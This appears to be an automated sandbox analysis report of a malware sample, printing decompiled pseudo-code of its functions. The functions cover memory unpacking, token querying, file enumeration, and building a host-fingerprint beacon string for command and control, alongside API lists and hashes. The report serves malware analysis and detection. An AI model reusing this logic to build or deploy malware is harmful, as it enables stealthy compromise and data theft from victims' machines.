			E03666194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E0366463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E03664859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E03662DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E0366348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E03664DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x03666194
0x03666194
0x03666194
0x03666195
0x0366619c
0x0366619f
0x036661a4
0x036661a7
0x036661a9
0x036661ab
0x036661ac
0x036661af
0x036661b7
0x036661c5
0x036661c5
0x036661ca
0x036661ca
0x036661d1
0x036661d5
0x036661d8
0x036661de
0x036661e8
0x036661f0
0x036661f7
0x036661fd
0x03666207
0x03666209
0x03666210
0x03666214
0x03666218
0x0366621c
0x03666226
0x03666226
0x03666230
0x03666230
0x03666233
0x03666233
0x03666239
0x03666240
0x03666243
0x0366624b
0x0366624f
0x03666255
0x03666260
0x03666262
0x03666267
0x03666272
0x03666274
0x03666276
0x03666279
0x0366627a
0x0366627d
0x03666281
0x03666284
0x03666284
0x0366628a
0x0366628d
0x0366628e
0x0366628e
0x0366628e
0x03666296
0x0366629f
0x0366629f
0x036662a2
0x036662a7
0x036662af
0x036662b3
0x036662b4
0x036662b4
0x036662b9
0x036662c6
0x036662c9
0x036662cd
0x036662e1
0x036662e9
0x036662ed
0x036662f3
0x036662f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 036661CA
VirtualProtect.KERNELBASE(?,?), ref: 03666233

Memory Dump Source

Source File: 00000002.00000002.233550222.0000000003660000.00000040.00000001.sdmp, Offset: 03660000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: 493eee3f87ad592e95d5e6d46f851fcbd88fb4384182341b2344cfed1d8b1ffb
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: 9541CF72904604DFEB00DF20C9807AEBBF9EF88701F1A846DDD888B249DF7855508B69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 5944 Parent PID: 3728 rundll32.exeCOMMON

Executed Functions

Function 04B212D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E04B212D4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x4b2d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x4b2d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x4b2d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x4b2d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x4b2d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x4b2d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x4b2d27c; // 0x9ba5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x4b2e7f2; // 0x73797325
				_t83 = E04B295B1(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x4b2d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x4b2d27c; // 0x9ba5a8
				_t16 = _t93 + 0x4b2e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x04b212dd
0x04b212e3
0x04b212e5
0x04b212ff
0x04b21303
0x04b21306
0x04b2157b
0x04b21582
0x04b21582
0x04b2130c
0x04b21321
0x04b21323
0x04b21327
0x04b2132a
0x04b2156b
0x04b21575
0x00000000
0x04b21575
0x04b21330
0x04b2133b
0x04b21340
0x04b21345
0x04b21348
0x04b2134f
0x04b21356
0x04b21359
0x04b2155b
0x04b21565
0x00000000
0x04b21565
0x04b2136f
0x04b21373
0x04b21376
0x04b21379
0x04b21381
0x04b21384
0x04b2138d
0x04b21393
0x04b2139d
0x04b213a4
0x04b213a4
0x04b213b6
0x04b213c1
0x04b213cf
0x04b213d4
0x04b213d9
0x04b213dc
0x04b213e1
0x04b213eb
0x04b213ee
0x04b213f1
0x04b21407
0x04b2140b
0x04b2140e
0x04b21559
0x00000000
0x04b21559
0x04b21425
0x04b21476
0x04b21439
0x04b21441
0x04b21446
0x04b21454
0x04b2145d
0x04b21466
0x04b21466
0x04b21474
0x04b21474
0x04b2147a
0x04b2147e
0x04b2147e
0x04b21484
0x00000000
0x00000000
0x04b21486
0x04b2148c
0x04b21533
0x04b21536
0x04b21543
0x04b21543
0x04b21547
0x00000000
0x00000000
0x04b2153c
0x04b21540
0x04b21540
0x04b21542
0x04b21542
0x04b2154c
0x04b21553
0x04b21555
0x00000000
0x04b21555
0x04b21492
0x04b21494
0x04b21494
0x04b214a7
0x04b214ad
0x04b214b8
0x04b214ba
0x04b214be
0x04b214c0
0x04b214c0
0x04b214c5
0x04b214c7
0x04b214c7
0x04b214c5
0x04b214cc
0x04b214d0
0x04b214d0
0x04b214e0
0x04b214e5
0x04b214e8
0x04b214e8
0x04b214eb
0x04b214f5
0x04b214fd
0x04b21502
0x04b21510
0x04b21510
0x04b21524
0x04b21528
0x04b21528

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 04B212FF
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 04B21321
memset.NTDLL ref: 04B2133B

Part of subcall function 04B295B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,04B223E9,63699BCE,04B21354,73797325), ref: 04B295C2
Part of subcall function 04B295B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04B295DC

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 04B21379
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 04B2138D
FindCloseChangeNotification.KERNELBASE(00000000), ref: 04B213A4
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 04B213B0
lstrcat.KERNEL32(?,642E2A5C), ref: 04B213F1
FindFirstFileA.KERNELBASE(?,?), ref: 04B21407
CompareFileTime.KERNEL32(?,?), ref: 04B21425
FindNextFileA.KERNELBASE(04B296C1,?), ref: 04B21439
FindClose.KERNEL32(04B296C1), ref: 04B21446
FindFirstFileA.KERNEL32(?,?), ref: 04B21452
CompareFileTime.KERNEL32(?,?), ref: 04B21474
StrChrA.SHLWAPI(?,0000002E), ref: 04B214A7
memcpy.NTDLL(00000000,?,00000000), ref: 04B214E0
FindNextFileA.KERNELBASE(04B296C1,?), ref: 04B214F5
FindClose.KERNEL32(04B296C1), ref: 04B21502
FindFirstFileA.KERNEL32(?,?), ref: 04B2150E
CompareFileTime.KERNEL32(?,?), ref: 04B2151E
FindClose.KERNELBASE(04B296C1), ref: 04B21553
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 04B21565
HeapFree.KERNEL32(00000000,?), ref: 04B21575

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: ab3980c84ddc89e64e84d730d6be310b73aaf499c6e1e6c7270b60836d5b3249
Instruction ID: 304cf48a84495923aefbcde20fdb162fc9d89e1fa6d4c2f06d12927a8ed52f2c
Opcode Fuzzy Hash: ab3980c84ddc89e64e84d730d6be310b73aaf499c6e1e6c7270b60836d5b3249
Instruction Fuzzy Hash: F78128B1900119AFEF218FA9DD84AEEBBB9FF48300F1041A6E519E7250D735AA458F60

Uniqueness

Uniqueness Score: -1.00%

Function 04B283B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E04B283B7(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E04B22049(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E04B29039(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x04b283c4
0x04b283c5
0x04b283c6
0x04b283c7
0x04b283c8
0x04b283cc
0x04b283d3
0x04b283e2
0x04b283e5
0x04b283e8
0x04b283ef
0x04b283f2
0x04b283f5
0x04b283f8
0x04b283fb
0x04b28406
0x04b28408
0x04b28411
0x04b28419
0x04b2841b
0x04b2842d
0x04b28437
0x04b2843b
0x04b2844a
0x04b2844e
0x04b28457
0x04b2845f
0x04b2845f
0x04b28461
0x04b28461
0x04b28469
0x04b2846f
0x04b28473
0x04b28473
0x04b2847e

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 04B283FE
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 04B28411
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04B2842D

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04B2844A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 04B28457
NtClose.NTDLL(?), ref: 04B28469
NtClose.NTDLL(00000000), ref: 04B28473

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: b739bf44c53fc135cdfbf97a0044324cf95fabe5bdeb4827eb824d919ecf95d5
Instruction ID: 4a3d16b8a75b1903497111eb472a5fb5d534912d73ffb8d3862a079e479d2487
Opcode Fuzzy Hash: b739bf44c53fc135cdfbf97a0044324cf95fabe5bdeb4827eb824d919ecf95d5
Instruction Fuzzy Hash: 9421E9B1900128BBDB11AF95CD46ADEBFBDEF08750F104166FA04F6110D776AA54DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B28B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E04B28B94(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x4b2d018; // 0x1f7541c4
				asm("bswap eax");
				_t61 =  *0x4b2d014; // 0x3a87c8cd
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0x4b2d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x4b2d00c; // 0xeec43f25
				asm("bswap eax");
				_t64 =  *0x4b2d27c; // 0x9ba5a8
				_t3 = _t64 + 0x4b2e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d14b, _t63, _t62, _t61, _t60,  *0x4b2d02c,  *0x4b2d004, _t59);
				_t67 = E04B21C1A();
				_t68 =  *0x4b2d27c; // 0x9ba5a8
				_t4 = _t68 + 0x4b2e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E04B254BC(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0x4b2d27c; // 0x9ba5a8
					_t7 = _t127 + 0x4b2e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0x4b2d238, 0, _v8);
				}
				_t73 = E04B27649();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0x4b2d27c; // 0x9ba5a8
					_t11 = _t122 + 0x4b2e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0x4b2d238, 0, _v8);
				}
				_t147 =  *0x4b2d32c; // 0x54e95b0
				_t75 = E04B29395(0x4b2d00a, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x4b2d238, _t153, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x4b2d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x4b2d238, _t153, _v20);
						goto L26;
					}
					E04B27A80(GetTickCount());
					_t82 =  *0x4b2d32c; // 0x54e95b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x4b2d32c; // 0x54e95b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x4b2d32c; // 0x54e95b0
					_t149 = E04B28307(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						RtlFreeHeap( *0x4b2d238, _t153, _v8); // executed
						goto L25;
					}
					StrTrimA(_t149, 0x4b2c2ac);
					_push(_t149);
					_t94 = E04B23CC8();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x4b2d238, _t153, _t149);
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E04B2809F(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E04B2A1B0();
						L22:
						HeapFree( *0x4b2d238, 0, _v16);
						_t153 = 0;
						goto L23;
					}
					_t105 = E04B243DF(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E04B2163F(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E04B29039(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E04B285DB(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E04B29039(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x04b28b94
0x04b28b94
0x04b28b94
0x04b28b9f
0x04b28ba6
0x04b28ba8
0x04b28ba8
0x04b28bb5
0x04b28bc0
0x04b28bc3
0x04b28bc8
0x04b28bd1
0x04b28bd4
0x04b28bd9
0x04b28bdc
0x04b28be1
0x04b28be4
0x04b28bf0
0x04b28bfd
0x04b28bff
0x04b28c05
0x04b28c0a
0x04b28c15
0x04b28c17
0x04b28c1a
0x04b28c1c
0x04b28c23
0x04b28c29
0x04b28c2c
0x04b28c2f
0x04b28c34
0x04b28c41
0x04b28c43
0x04b28c49
0x04b28c53
0x04b28c53
0x04b28c55
0x04b28c5c
0x04b28c5f
0x04b28c62
0x04b28c67
0x04b28c74
0x04b28c76
0x04b28c84
0x04b28c84
0x04b28c86
0x04b28c94
0x04b28c99
0x04b28c9d
0x04b28ca0
0x04b28e63
0x04b28e6d
0x04b28e76
0x04b28ca6
0x04b28cb2
0x04b28cba
0x04b28cbd
0x04b28e57
0x04b28e61
0x00000000
0x04b28e61
0x04b28cc9
0x04b28cce
0x04b28cd7
0x04b28ce8
0x04b28cec
0x04b28cf5
0x04b28cfb
0x04b28d0a
0x04b28d11
0x04b28d1a
0x04b28d20
0x04b28e4b
0x04b28e55
0x00000000
0x04b28e55
0x04b28d2c
0x04b28d32
0x04b28d33
0x04b28d3a
0x04b28d3d
0x04b28e41
0x04b28e49
0x00000000
0x04b28e49
0x04b28d46
0x04b28d4d
0x04b28d55
0x04b28d5a
0x04b28d63
0x04b28d69
0x04b28d70
0x04b28d77
0x04b28d7a
0x04b28e79
0x04b28e2d
0x04b28e2d
0x04b28e32
0x04b28e3d
0x04b28e3f
0x00000000
0x04b28e3f
0x04b28d84
0x04b28d8b
0x04b28d8e
0x04b28d93
0x04b28d9e
0x04b28da3
0x04b28da6
0x04b28dac
0x04b28db2
0x04b28db8
0x04b28dbb
0x04b28dc1
0x04b28dc4
0x04b28dc9
0x04b28dcd
0x04b28dcd
0x04b28dd9
0x04b28de5
0x04b28de9
0x04b28deb
0x04b28df0
0x04b28df2
0x04b28df7
0x04b28dfc
0x04b28e09
0x04b28e11
0x04b28e14
0x04b28e14
0x04b28df0
0x00000000
0x04b28ddb
0x04b28ddf
0x04b28e16
0x04b28e19
0x04b28e22
0x00000000
0x00000000
0x00000000
0x00000000
0x04b28e22
0x04b28de1
0x00000000
0x04b28de1
0x04b28dd9

APIs

GetTickCount.KERNEL32 ref: 04B28BA8
wsprintfA.USER32 ref: 04B28BF8
wsprintfA.USER32 ref: 04B28C15
wsprintfA.USER32 ref: 04B28C41
HeapFree.KERNEL32(00000000,?), ref: 04B28C53
wsprintfA.USER32 ref: 04B28C74
HeapFree.KERNEL32(00000000,?), ref: 04B28C84
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04B28CB2
GetTickCount.KERNEL32 ref: 04B28CC3
RtlEnterCriticalSection.NTDLL(054E9570), ref: 04B28CD7
RtlLeaveCriticalSection.NTDLL(054E9570), ref: 04B28CF5

Part of subcall function 04B28307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,04B2A428,?,054E95B0), ref: 04B28332
Part of subcall function 04B28307: lstrlen.KERNEL32(?,?,?,04B2A428,?,054E95B0), ref: 04B2833A
Part of subcall function 04B28307: strcpy.NTDLL ref: 04B28351
Part of subcall function 04B28307: lstrcat.KERNEL32(00000000,?), ref: 04B2835C
Part of subcall function 04B28307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,04B2A428,?,054E95B0), ref: 04B28379

StrTrimA.SHLWAPI(00000000,04B2C2AC,?,054E95B0), ref: 04B28D2C

Part of subcall function 04B23CC8: lstrlen.KERNEL32(054E9910,00000000,00000000,7742C740,04B2A453,00000000), ref: 04B23CD8
Part of subcall function 04B23CC8: lstrlen.KERNEL32(?), ref: 04B23CE0
Part of subcall function 04B23CC8: lstrcpy.KERNEL32(00000000,054E9910), ref: 04B23CF4
Part of subcall function 04B23CC8: lstrcat.KERNEL32(00000000,?), ref: 04B23CFF

lstrcpy.KERNEL32(00000000,?), ref: 04B28D4D
lstrcpy.KERNEL32(?,?), ref: 04B28D55
lstrcat.KERNEL32(?,?), ref: 04B28D63
lstrcat.KERNEL32(?,00000000), ref: 04B28D69

Part of subcall function 04B2809F: lstrlen.KERNEL32(?,00000000,04B2D330,00000001,04B22200,04B2D00C,04B2D00C,00000000,00000005,00000000,00000000,?,?,?,04B296C1,04B223E9), ref: 04B280A8
Part of subcall function 04B2809F: mbstowcs.NTDLL ref: 04B280CF
Part of subcall function 04B2809F: memset.NTDLL ref: 04B280E1

wcstombs.NTDLL ref: 04B28DFC

Part of subcall function 04B2163F: SysAllocString.OLEAUT32(?), ref: 04B21680
Part of subcall function 04B2163F: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 04B21702
Part of subcall function 04B2163F: StrStrIW.SHLWAPI(?,006E0069), ref: 04B21741

Part of subcall function 04B29039: HeapFree.KERNEL32(00000000,00000000,04B27F18,00000000,?,?,00000000), ref: 04B29045

HeapFree.KERNEL32(00000000,?,?), ref: 04B28E3D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04B28E49
